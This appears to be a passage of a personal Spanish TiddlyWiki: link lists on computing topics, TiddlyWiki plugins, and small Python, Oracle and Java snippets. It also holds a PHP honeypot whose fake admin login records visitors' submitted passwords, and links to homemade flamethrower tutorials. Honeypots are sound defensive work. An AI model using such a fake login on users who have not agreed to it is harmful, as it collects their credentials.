<<autoRefresh>>
!Descripción
<part descripcion>
Lo "duro" de un ordenador. La parte que se puede patear.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Hardware

* ''Componentes y periféricos:''
** Guía visual: http://fc01.deviantart.com/fs46/f/2009/200/1/1/Computer_hardware_poster_1_7_by_Sonic840.png
** Hardware secrets: http://www.hardwaresecrets.com

* ''Construcción y montaje de equipos:''
** Hazte tu propio cluster: http://obscuredclarity.blogspot.com/2008/09/24-core-linux-cluster-in-2999-case-from.html
** Consejos a la hora de elegir los componentes: http://www.channelprosmb.com/category/26/SystemBuilderPro
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La caja es la parte externa de un ordenador. Es un chasis rígido sobre el que se montan los sistemas principales: ventiladores de refrigeración, discos duros, fuente de alimentación, etc. También dispone de espacio y sujeciones para sostener los discos duros y unidades externas.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Comparativas y análisis: http://www.motherboards.org/reviews/cases
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Disco_duro
** Información y comparativas: http://www.motherboards.org/reviews/hard-drives
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
* Manuales de servicio de diversas impresoras: http://www.feedroller.com/Store/index.php?cPath=1_17_86&osCsid=bgd30eoaodasel0u7juk3flo04
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Periféricos de ordenador
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki

!! Dispositivos de entrada
* ''Teclados'':
** Guía de teclados mecánicos: http://www.overclock.net/keyboards/491752-mechanical-keyboard-guide.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
La placa base es el circuito integrado principal dentro de un ordenador, pues es en esta placa donde se conectan el resto de componentes, como el procesador, la memoria, controladores de disco, tarjetas de expansión, dispositivos de entrada/salida, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Placa_base
** Comparativa y análisis de placas base: http://www.motherboards.org/reviews/index.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Elemento que procesa los gráficos y envía la imagen al monitor.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Tarjeta_gr%C3%A1fica
** Tabla comparativa con MUCHAS tarjetas: http://www.techpowerup.com/gpudb/
** Comparativas y análisis: http://www.motherboards.org/reviews/video-cards
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre el lenguaje Haskell
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Haskell
** Learn You a Haskell for Great Good!: http://learnyouahaskell.com/chapters
** Libro de Haskell: http://book.realworldhaskell.org/read/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''Colecciones:''
** DIY en Luxe outdoor: http://www.luxeoutdoor.com/eng/catalog-topic.asp?selfpath=/86&selfid=86

* ''Mecheros y lámparas:''
** Lámpara de aceite: http://www.ikkaro.com/lampara-aceite-bombilla
** Soplete (mechero) de alcohol: http://www.ikkaro.com/soplete-alcohol-casero

* ''Antorchas:''
** Artículo en Ikkaro: http://www.ikkaro.com/como-hacer-antorchas-caseras

* ''Cocinas y quemadores para cocinar:''
** Quemador de alcohol: http://www.ikkaro.com/como-hacer-cocina-alcohol

* ''Lanzallamas:''
** Información sobre lanzallamas casero: http://www.hightech-edge.com/homemade-flamethrower-diy-tutorial-lesso/2095/
** Vídeo de como hacer un lanzallamas casero: http://hackedgadgets.com/2008/08/06/diy-flamethrower/
** Lanzallamas a partir de una bocina de aire: http://gizmodo.com/5351344/homemade-air-horn-flamethrower-diy-if-you-dare
** Tutoriales a montón: http://www.wonderhowto.com/topic/flamethrower/
** Guantes lanzafuego: http://hackaday.com/2009/11/03/improved-arm-mounted-flame-thrower/

* ''Otros:''
**¡Bola de fuego!: http://inventgeek.com/2009-Projects/Fire-Ball-Air-Cannon/OverView.aspx
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre herramientas de construcción de aplicaciones [[java]]. Son el equivalente de [[Java]] del clásico make.
</part>
!Enlaces
<part enlaces>
* ''[[Ant]]:''
** Página oficial: http://ant.apache.org/
** Manual: http://ant.apache.org/manual/index.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Ejecutar un .bat desde ant ^^[[<editar>|$1]]^^

<code xml>
<exec dir="C:\oc4j_10_1_2\j2ee\home\" executable="cmd">    			
    <arg value="/c"/>
    <arg value=".bat"/>
    <arg value="-p"/>
</exec>
</code>
/***
|Name:|HideWhenPlugin|
|Description:|Allows conditional inclusion/exclusion in templates|
|Version:|3.1 ($Rev: 3919 $)|
|Date:|$Date: 2008-03-13 02:03:12 +1000 (Thu, 13 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#HideWhenPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
For use in ViewTemplate and EditTemplate. Example usage:
{{{<div macro="showWhenTagged Task">[[TaskToolbar]]</div>}}}
{{{<div macro="showWhen tiddler.modifier == 'BartSimpson'"><img src="bart.gif"/></div>}}}
***/
//{{{

window.hideWhenLastTest = false;

window.removeElementWhen = function(test,place) {
	window.hideWhenLastTest = test;
	if (test) {
		removeChildren(place);
		place.parentNode.removeChild(place);
	}
};


merge(config.macros,{

	hideWhen: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( eval(paramString), place);
	}},

	showWhen: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( !eval(paramString), place);
	}},

	hideWhenTagged: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( tiddler.tags.containsAll(params), place);
	}},

	showWhenTagged: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( !tiddler.tags.containsAll(params), place);
	}},

	hideWhenTaggedAny: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( tiddler.tags.containsAny(params), place);
	}},

	showWhenTaggedAny: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( !tiddler.tags.containsAny(params), place);
	}},

	hideWhenTaggedAll: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( tiddler.tags.containsAll(params), place);
	}},

	showWhenTaggedAll: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( !tiddler.tags.containsAll(params), place);
	}},

	hideWhenExists: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( store.tiddlerExists(params[0]) || store.isShadowTiddler(params[0]), place);
	}},

	showWhenExists: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( !(store.tiddlerExists(params[0]) || store.isShadowTiddler(params[0])), place);
	}},

	hideWhenTitleIs: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( tiddler.title == params[0], place);
	}},

	showWhenTitleIs: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( tiddler.title != params[0], place);
	}},

	'else': { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		removeElementWhen( !window.hideWhenLastTest, place);
	}}

});

//}}}
''ADVERTENCIA''
Esta entrada está plagada de "copy-pastes" de las fuentes citadas al final. Es un resumen de lo más relevante que he hecho para mi mismo y con ningún otro fin.

! Introducción
Desde el punto de vista actual de las neurociencias la hipnosis no es un misterio sino un campo de investigación científica, un fenómeno que, como veremos luego, se puede entender en el marco del funcionamiento normal de nuestro cerebro.

! ¿Qué no es?
* No es un estado de "trance"
* No es un estado de "preclaridad" que permite rememorar mejor el pasado. Es muy facil que genere falsos recuerdos.
* No es una forma de "control mental". Un hipnotizado no actuará contra su moral ni sus creencias
* No es una forma de viajar a "vidas anteriores"
* No es una forma de sonsacar secretos. Se puede intentar engañar al hipnotizado para que te cuente algo, pero no tiene por qué ser cierto lo que cuente.

! ¿Qué es la hipnosis?
Se podría definir la hipnosis como la capacidad de (el procedimiento capaz de) inducir o sugerir (“sugestión hipnótica”) cambios en las sensaciones, percepciones, sentimientos, pensamientos y/o acciones en un individuo (Lynn y Kirsch, 2004). Estos cambios pueden ser inducidos por otra persona, el hipnotizador, o autoinducidos. La hipnosis actuaría sobre las expectativas y motivación de las personas lo cual puede ser utilizado como complemento a tratamientos psicoterapéuticos.


! Referencias
* http://www.escepticos.es/repositorio/elesceptico/articulos_pdf/ee_24/ee_24_hay_algo_oculto_en_el_cerebro_hipnotizado.pdf
! Introducción
Sencillo honeypot realizado por esa gran gente que es la de [[Security By Default|http://www.securitybydefault.com]]. Está hecho en [[PHP]], usa MySQL y es fácilmente modificable.

! Código
<code php>
<?php
	/* phpot, minimalist web honeypot written in PHP and MySQL */
	/* Licensed under GNU/GPLv3             */
	/* a0rtega - alberto[at]pentbox[dot]net */
	/*                securitybydefault.com */
	/*
		mysql> describe tries;
		+---------+--------------+------+-----+---------+-------+
		| Field   | Type         | Null | Key | Default | Extra |
		+---------+--------------+------+-----+---------+-------+
		| id      | varchar(50)  | NO   | PRI | NULL    |       |
		| ip      | varchar(50)  | YES  |     | NULL    |       |
		| country | varchar(5)   | YES  |     | NULL    |       |
		| uagent  | varchar(200) | YES  |     | NULL    |       |
		| user    | varchar(200) | YES  |     | NULL    |       |
		| pass    | varchar(200) | YES  |     | NULL    |       |
		| date    | varchar(35)  | YES  |     | NULL    |       |
		| type    | varchar(5)   | YES  |     | NULL    |       |
		+---------+--------------+------+-----+---------+-------+
		8 rows in set (0.00 sec)

		mysql>
	*/
	function conn_db() {
		$db_conn = mysql_connect("127.0.0.1", "user", "password");
		mysql_select_db("php_honeypot", $db_conn);
		return $db_conn;
	}
	function ip_2_country($ip) {
		return file_get_contents("http://api.hostip.info/country.php?ip=" . $ip);
	}
?>
<!doctype html>
<html>
<head>
	<title>Admin control panel</title>
</head>
<body>
	<table align=center>
	<tr>
		<td align=right><font color=#003333>Administration panel login</font></td>
	<tr>
		<td><hr width=500 color=#003399 noshade></td>
	</table>
	<br><br>
	<table align=center>
	<form name=login method=post>
	<tr>
		<td><font color=#003333>User: </font></td>
		<td><input type=text name=user value=root></td>
	<tr>
		<td><font color=#003333>Password: </font></td>
		<td><input type=password name=passwd></td>
	<tr>
		<td align=right colspan=2><input type=submit value=Login></td>
<?php
	if (isset($_POST["user"]) && isset($_POST["passwd"])) {
		sleep(1); /* trolling art */
		if (strpos($_POST["user"], "'") !== false || strpos($_POST["passwd"], "'") !== false) {
			$error = "Query error, bad syntax";
		}
		else {
			$error = "Invalid username or password";
		}
		echo "\t<tr>\n";
		echo "\t\t<td align=center colspan=2><br><font color=#FF0033>" . $error . "</font>\n";
		$country = ip_2_country($_SERVER['REMOTE_ADDR']);
		$db_conn = conn_db();
		mysql_query("insert into tries values ('" . time() . "', '" . mysql_real_escape_string($_SERVER['REMOTE_ADDR']) . "', '" .
			    mysql_real_escape_string($country) . "', '" . mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']) . "', '" .
			    mysql_real_escape_string($_POST["user"]) . "', " . "'" . mysql_real_escape_string($_POST["passwd"]) . "', '" .
			    date("r") . "', 'login');", $db_conn);
		mysql_close($db_conn);
	}
	else {
		sleep(1);
		$country = ip_2_country($_SERVER['REMOTE_ADDR']);
		$db_conn = conn_db();
		mysql_query("insert into tries values ('" . time() . "', '" . mysql_real_escape_string($_SERVER['REMOTE_ADDR']) . "', '" .
			    mysql_real_escape_string($country) . "', '" . mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']) . "', '" .
			    "null', 'null', '" .
			    date("r") . "', 'visit');", $db_conn);
		mysql_close($db_conn);
	}
?>
	</form>
	</table>
</body>
</html>
</code>

! Referencias
* http://www.securitybydefault.com/2011/05/phpot-honeypot-web-minimalista-escrito.html
!Step 1: Get the Plugin
Import the IncludePlugin (from http://tiddlywiki.abego-software.de), e.g. using the ImportTiddlers, and make sure the "systemConfig" tag is defined. 
!Step 2: Include ~TiddlyWikis
To include TiddlyWikis add an „include“ macro into the tiddler „IncludeList“:
{{{
<<include "shared/TiddlyWikiHelp.html">>
<<include "journals/2007-01.html">>
}}}
For details see [[The "include" Macro]].

''Notes''
* You need to reload your TiddlyWiki after you added or changed any "include" macro in the "IncludeList" tiddler.
!Step 3: Access included Tiddlers
To access an included tiddler you just need to create a link to that tiddler (with the tiddler's title). If you click that link the included tiddler will be displayed. To "find" an included tiddler, just search for it with the standard search feature.

You only can edit included tiddlers in their "original" TiddlyWiki. Hence included Tiddlers are readonly in a "main" TiddlyWiki.


See also [[How Tiddlers are found]].

!Using the "include" macro without the "IncludeList" Tiddler
The {{{<<include ...>>}}} macro is typically used in the "IncludeList" (as described above). The TiddlyWikis listed in the "IncludeList" are included at TiddlyWiki startup.

But you may put the {{{<<include ...>>}}} macro in any tiddler. The include process starts when the tiddler containing the {{{<<include ...>>}}} macro is displayed (or after delayDuration milliseconds). This way you may include TiddlyWikis/Tiddlers "on demand", i.e. the TiddlyWiki is only loaded when a certain tiddler is displayed.

When using the include macro in a tiddler different than the "IncludeList" you may want to use the "hide: true" parameter to avoid the include macro is displayed to the user.
<<showtoc>>
!Descripción
<part descripcion>
ICMP son las siglas de "Internet Control Message Protocol". Es el sub protocolo de control y notificación de errores del Protocolo de Internet (IP). Como tal, se usa para enviar mensajes de error, indicando por ejemplo que un servicio determinado no está disponible o que un router o host no puede ser localizado.

Uno de los usos más habituales del protocolo es comprobar que un host está activo y responde. Para ello se le envía un mensaje ICMP de tipo Echo Request, al que el host debe responder con un mensaje Echo Reply. Normalmente, ha herramienta que lo usa se llama "ping" en casi todos los sistemas operativos.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Internet_Control_Message_Protocol
* Análisis de capturas de tráfico ICMP: http://seguridadyredes.wordpress.com/2008/02/20/analisis-capturas-trafico-de-red-interpretacion-trafico-icmp-i/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Son las siglas en inglés de Entorno de Desarrollo Integrado, y hace referencia a programas de ordenador compuestos por una serie de herramientas que permite a un programador desarrollar y compilar programas completos.

A grandes rasgos, se podrían ver como la unión entre un [[editor de texto avanzado|EditorTexto]], un compilador, un gestor de ficheros y proyectos, y otras herramientas diseñadas para facilitar la vida a los programadores.

Más información: http://es.wikipedia.org/wiki/Entorno_de_desarrollo_integrado
//Véase// [[IDE]]
!Descripción
<part descripcion>
Es el acrónimo de Internet Message Access Protocol. Es un protocolo de acceso al email mucho más potente que [[POP]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la wikipedia: http://es.wikipedia.org/wiki/Internet_Message_Access_Protocol
** [[RFC]] que describe el protocolo: http://www.ietf.org/rfc/rfc3501.txt
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
[[Python]] incorpora entra sus librerías básicas una para facilitar el uso y disfrute del protocolo [[IMAP]]. Lo siguiente es un ejemplo práctico y sencillo de como usar la librería.

!Manual de uso
Tan sólo hay que ejecutarlo e irá pidiendo los datos. Al finalizar creará un archivo llamado {{{results.txt}}} con la información recogida.

!Código fuente
<code python>
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import getpass

from imaplib import *


def main():
    #Configuración
    imap_host = raw_input("Servidor imap: ")#"imap.gmail.com" #"zaz-prod-mx01.tb-solutions.com"
    imap_port = int(raw_input("Puerto: "))#993 #143
    imap_user = raw_input("Usuario (aa@bb.cc): ")#"usuario@example.com"
    print "Contraseña: "
    imap_password = getpass.getpass()
    imap_box = raw_input("Carpeta (entrada es INBOX): ") #"INBOX"
    imap_box_readonly = True

    #Conectar con el servidor
    #imap_server = IMAP4_SSL(imap_host, imap_port)
    imap_server = IMAP4(imap_host, imap_port)
    imap_server.login(imap_user, imap_password)

    #Extrae información de conexión y carpetas disponibles
    status, folders  = imap_server.list()

    #Comprueba el estado de la conexión
    if status == "OK":
        print "Connected"

        #Imprime las carpetas que hay en el servidor
        print "folders"
        for i in folders:
            print i

        #Elige la carpeta de trabajo. Por defecto es INBOX
        if imap_box != "INBOX":
            print "Seleccionando carpeta "+imap_box
            imap_server.select(imap_box, imap_box_readonly)
        else:
            print "Seleccionando carpeta inbox"
            imap_server.select(readonly=imap_box_readonly)

        #Obtiene todos los mensajes de la carpeta seleccionada
        r, data = imap_server.search(None, 'ALL')
        messages = data[0].split()
        print "Número de mensajes: "+str(len(data[0].split()))

        #Obtiene los mensajes
        #get(messages)
        data = countMessages(imap_server, messages);

        f = open("results.txt", "w")

        try:
            #Muestra los resultados y los escribe en un archivo
            print "\n\nResultados: "
            for i in data:
                strAux = i+" ha enviado "+str(data[i])+" emails"
                f.write(strAux+"\n")
                print strAux
            f.flush()
        finally:
            f.close()

    #Fallo de conexión
    else:
        print "Connection fail"

    #Cierra la conexión con el servidor
    imap_server.close()
    imap_server.logout()


#Obtiene los mensajes el servidor y devuelve un diccionario con cuantos mensajes
#ha enviado cada remitente
def countMessages(server, messages):

    senders = {}

    #Imprime información de los archivos obtenidos
    for num in messages:
        #typ, data = imap_server.fetch(num, '(BODY[HEADER.FIELDS (SUBJECT FROM)])')
        typ, data = server.fetch(num, '(BODY[HEADER.FIELDS (FROM)])')
        #sender = data[0][1][6:-2]   #linux
        sender = data[0][1][6:-4]   #windows

        #Comprueba si ya se había registrado el remitente, y lo contea
        if not senders.has_key(sender):
            senders[sender] = 1
        else:
            senders[sender] += 1

        print str(num)+" Remitente: "+sender+" veces: "+str(senders[sender])

    #Devuelve el resultado
    return senders


#MAIN
if __name__ == "__main__":
    main()
</code>
//Véase// [[IP]]
!Descripción
<part descripcion>
Interactive Python: consola "más interactiva" para [[Python]], con soporte para computación paralela. Es suficientemente potente y fácil de utilizar como para ser un reemplazo de la shell [[Bash]] y similares.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/IPython
** Página principal: http://ipython.scipy.org/moin/Documentation
** Introducción: http://www.onlamp.com/pub/a/python/2005/01/27/ipython.html
** Documentación oficial: http://ipython.scipy.org/doc/manual/html/
** Consejos diversos: http://pages.physics.cornell.edu/~myers/teaching/ComputationalMethods/python/ipython.html
** Tutorial: http://ipython.scipy.org/doc/manual/html/interactive/tutorial.html
** Recetas y mini-howtos: http://ipython.scipy.org/moin/Cookbook
** Uso como shell: http://ipython.scipy.org/moin/Cookbook/ShProfile
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Artículos sobre la enseñanza o el aprendizaje de idiomas.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ense%C3%B1anza_de_idiomas

!! Diccionarios y traductores
!!! Múltiples idiomas
* Word Reference: http://www.wordreference.com/
* Diccionario de palabras ofensivas: http://www.alternative-dictionaries.net/
* 312 expresiones inglesas: http://www.calipodelima.com/2012/07/312-expresiones-inglesas.html

!!! Neolenguas
* Chonizador: http://chevismo.com/chonizador.php
* Diccionario choni: http://chevismo.com/choniccionario
* Traductor Hoygan: http://www.vidoblog.net/hoygan/
* Diccionario "urbano": http://www.urbandictionary.com/

!! Aprendizaje de idiomas
!!! Aprender varios idiomas
* Cursos de la BBC: http://www.bbc.co.uk/languages/

!!! Aprender inglés
* Recopilación de enlaces: http://www.cyberhades.com/2010/10/21/aprende-ingles-desde-casa
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Pasos para importar CAs en un almacén de confianza:
#{{multiline{
Crear un respositorio de CAs de confianza con la CA importada
{{{
keytool -import -trustcacerts -alias <alias de la CA> -file <archivo.cer> -keystore <repositorio.jks>
}}}
}}}
#{{multiline{
Pasar los siguientes parámetros a la ejecución de la aplicación para que la máquina virtual use el repositorio:
{{{
java -Djavax.net.ssl.trustStore=<repositorio.jks -Djavax.net.ssl.keyStorePassword=<password repositorio>
}}}
}}}
!Introducción
La mejor manera de transferir los datos de una base de datos a otra es exportar los datos de la base de datos original e importarlos en la base de de destino, usando las herramientas {{{exp}}} e {{{imp}}} respectivamente, ambas proporcionadas por [[Oracle]].

!Exportación
La exportación se realiza con la herramienta {{{exp}}}. Necesita como parámetros la conexión a la base de datos (como cadena "easy connect" o un nombre TNS), el nombre del fichero en el que se volcarán los datos y el esquema (usuario) al que pertenecen las tablas.

Ejemplos usando easy connect en el primero y TNS en el segundo:
{{{
C:\>exp userid=ESQUEMA/PASSWORD@host_origen:1521/BBDD_ORIGEN file=c:\temp\data.dmp where owner=ESQUEMA
C:\>exp userid=ESQUEMA/PASSWORD@TNS_NAME file=c:\temp\data.dmp where owner=ESQUEMA
}}}

!Importar los datos
Una vez volcados los datos a un archivo de texto en local, se puede introducir en una base de datos mediante la herramienta {{{imp}}}. Es recomendable borrar primero todas las tablas, procedimientos, triggers y secuencias, ya que serán sobreescritos y puede dar problemas. La sintaxis es similar a la de {{{exp}}}, pero en vez del propietario de las tablas se indica a quien pertenecían en la base de datos original y a quien van a pertenecer en la nueva base de datos. También se pueden usar los dos tipos de conexión soportados por [[Oracle]]:
{{{
C:\>imp userid=ESQUEMA/PASSWORD@host_destino:1521/BBD_DESTINO file=c:\temp\data.dmp fromuser=ESQUEMA touser=ESQUEMA
C:\>imp userid=ESQUEMA/PASSWORD@TNS_NAME file=c:\temp\data.dmp fromuser=ESQUEMA touser=ESQUEMA
}}}
<<tiddler [[GeneradorExpImp]]>>
<<forEachTiddler
    where
        'tiddler.tags.contains("_articulo")'

    sortBy 
        'tiddler.title.toUpperCase()'
    
    script
        '
        function getGroupCaption(tiddler) {
            return tiddler.title.substr(0,1).toUpperCase();
        } 

        function getGroupTitle(tiddler, context) {
            if (!context.lastGroup || context.lastGroup != getGroupCaption(tiddler)) {
                context.lastGroup = getGroupCaption(tiddler); 
                return "* {{{"+(context.lastGroup?context.lastGroup:"no tags")+"}}}\n";
            } else 
                return "";
        }
        '
    
    write
         'getGroupTitle(tiddler, context)+"** [[" + tiddler.title+"]]\n"'
>>
<<forEachTiddler
    where
        'tiddler.tags.contains("_definición")'

    sortBy 
        'tiddler.title.toUpperCase()'
    
    script
        '
        function getGroupCaption(tiddler) {
            return tiddler.title.substr(0,1).toUpperCase();
        } 

        function getGroupTitle(tiddler, context) {
            if (!context.lastGroup || context.lastGroup != getGroupCaption(tiddler)) {
                context.lastGroup = getGroupCaption(tiddler); 
                return "* {{{"+(context.lastGroup?context.lastGroup:"no tags")+"}}}\n";
            } else 
                return "";
        }
        '
    
    write
         'getGroupTitle(tiddler, context)+"** [[" + tiddler.title+"]]\n"'
>>
<<forEachTiddler
    where
        'tiddler.tags.contains("_seccion") || tiddler.tags.contains("_subseccion")'

    sortBy 
        'tiddler.title.toUpperCase()'
    
    script
        '
        function getGroupCaption(tiddler) {
            return tiddler.title.substr(0,1).toUpperCase();
        } 

        function getGroupTitle(tiddler, context) {
            if (!context.lastGroup || context.lastGroup != getGroupCaption(tiddler)) {
                context.lastGroup = getGroupCaption(tiddler); 
                return "* {{{"+(context.lastGroup?context.lastGroup:"no tags")+"}}}\n";
            } else 
                return "";
        }
        '
    
    write
         'getGroupTitle(tiddler, context)+"** [[" + tiddler.title+"]]\n"'
>>
<<forEachTiddler
   sortBy 
        'tiddler.title.toUpperCase()'
    
    script
        '
        function getGroupCaption(tiddler) {
            return tiddler.title.substr(0,1).toUpperCase();
        } 

        function getGroupTitle(tiddler, context) {
            if (!context.lastGroup || context.lastGroup != getGroupCaption(tiddler)) {
                context.lastGroup = getGroupCaption(tiddler); 
                return "* {{{"+(context.lastGroup?context.lastGroup:"no tags")+"}}}\n";
            } else 
                return "";
        }
        '
    
    write
         'getGroupTitle(tiddler, context)+"** [[" + tiddler.title+"]]\n"'
>>
!Descripción
<part descripcion>
Implementación libre de Plan9 portable y ligero, que mantiene gran parte de los objetivos de Plan9 pero con varias interesantes adiciones. Por un lado, el código se ejecuta sobre una máquina virtual, por lo que es extremadamente portable, y el lenguaje utilizado es [[Limbo]], un lenguaje que comparte similitudes con [[C]] y [[ADA]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia (miniartículo en castellano): http://es.wikipedia.org/wiki/Inferno
** Artículo de la Wikipedia (en inglés): http://en.wikipedia.org/wiki/Inferno_(operating_system)
** Desarrolladores oficiales de Inferno: http://www.vitanuova.com/inferno/index.html
** Proyecto en Google Code: http://code.google.com/p/inferno-os/
** Listado de aplicaciones para Inferno: http://en.wikipedia.org/wiki/List_of_Inferno_applications

* ''Documentación:''
** Documentos diversos sobre Inferno 4ª edición: http://doc.cat-v.org/inferno/4th_edition/
** Documentos y libros generales sobre Inferno: http://doc.cat-v.org/inferno/
** Blog de noticias: http://ninetimes.cat-v.org/
** Blog de un programador: http://caerwyn.com/ipn/
** Getting started with Inferno: http://www.xs4all.nl/~mechiel/inferno/getting-started.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|InfoBoxPlugin|
|Description||
|Source|http://tiddlywiki.mahemoff.com/InfoBoxPlugin.html|
|Documentation||
|Version|0.1|
|Author|Michael Mahemoff, Osmosoft|
|''License:''|[[BSD open source license]]|
|~CoreVersion|2.2|
***/

/*{{{*/
(function() {

  if(version.extensions.InfoBoxPlugin) return;

  var plugin = version.extensions.InfoBoxPlugin = {installed:true};
  var $=jQuery;
  applyStyleSheet();

  var macro = config.macros.infoBox = {

    //================================================================================
    // MACRO INITIALISATION
    //================================================================================

    handler: function(place,macroName,params,wikifier,paramString,tiddler) {
      var boxEl = $("<div class='infoBox'/>")
        .css("marginRight", $(place).parents(".tiddler").find(".tagged").width()+30)
        .appendTo(place);
      var type = trim(paramString);
      if (!trim(type).length) {
        wikifier.subWikify(boxEl.get(0), ">>");
        return;
      }

      var headingEl = $("<h3/>").html(type).appendTo(boxEl);
      var messageEl = $("<div/>").appendTo(boxEl);
      $(wikifier.subWikify(messageEl.get(0), ">>"));
      var typeDefinitionTiddler = store.getTiddler(type+"InfoBox"); 
      if (!typeDefinitionTiddler) return;
      updateCSS(boxEl, "background", type, "background");
      updateCSS(boxEl, "borderColor", type, "borderColor");
      updateCSS(headingEl, "color", type, "headingColor");
      if (getSlice(type, "heading")) headingEl.html(getSlice(type, "heading"));
      updateCSS(messageEl, "color", type, "messageColor");
      updateCSS(messageEl, "fontStyle", type, "messageFontStyle");
      if (getSlice(type, "message")) messageEl.html(getSlice(type, "message"));

      var NORMAL_PADDING=parseInt(trim(store.getTiddlerText("InfoBoxPlugin::Padding")));
      if (getSlice(type, "iconURL")) {
        var iconURL = getSlice(type, "iconURL");
        boxEl.addClass("infoBoxIconed");
        boxEl.css({
          backgroundImage: "url('"+iconURL+"')",
          backgroundPosition: "5px center",
          backgroundRepeat: "no-repeat",
        });
        var leftPadding = (getSlice(type, "iconWidth")) ? (parseInt(getSlice(type, "iconWidth"))||40)+10 : 0;
        if (leftPadding) {
          boxEl.css({
            paddingLeft: leftPadding,
            width: usingIEBoxModel() ? 400 : 400-leftPadding+NORMAL_PADDING
          });
        }
      }

    }

  };

  function updateCSS(el, property, infoBoxType, sliceName) {
